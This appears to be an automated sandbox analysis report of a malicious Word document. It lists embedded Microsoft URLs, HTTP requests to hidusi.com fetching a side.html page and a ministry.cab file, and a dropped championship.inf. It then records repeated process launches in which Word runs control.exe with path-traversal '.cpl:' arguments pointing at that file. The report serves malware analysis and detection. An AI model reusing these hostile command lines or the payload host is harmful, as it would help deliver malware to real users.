Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://graph.windows.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://login.windows.local
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://management.azure.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://management.azure.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://osi.office.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://roaming.edog.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://tasks.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: ministry[1].cab.0.dr	String found in binary or memory: https://www.openssl.org/docs/faq.html

Source: unknown

DNS traffic detected: queries for: hidusi.com

Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/side.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: hidusi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/side.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: hidusi.comIf-Modified-Since: Wed, 01 Sep 2021 12:29:06 GMTIf-None-Match: "18f1-5caee365a20d1-gzip"Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/ministry.cab HTTP/1.1Accept: /Referer: http://hidusi.com/e8c76295a5f9acb7/side.htmlAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hidusi.comConnection: Keep-Alive

System Summary:

Office process drops PE file

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\championship.inf

Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE

Section loaded: sfc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\SysWOW64\control.exe

Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/championship.inf',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/Low/championship.inf',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/championship.inf',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/championship.inf',
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:123',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/Low/championship.inf',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/championship.inf',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/Low/championship.inf',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\control.exe 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/championship.inf',	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
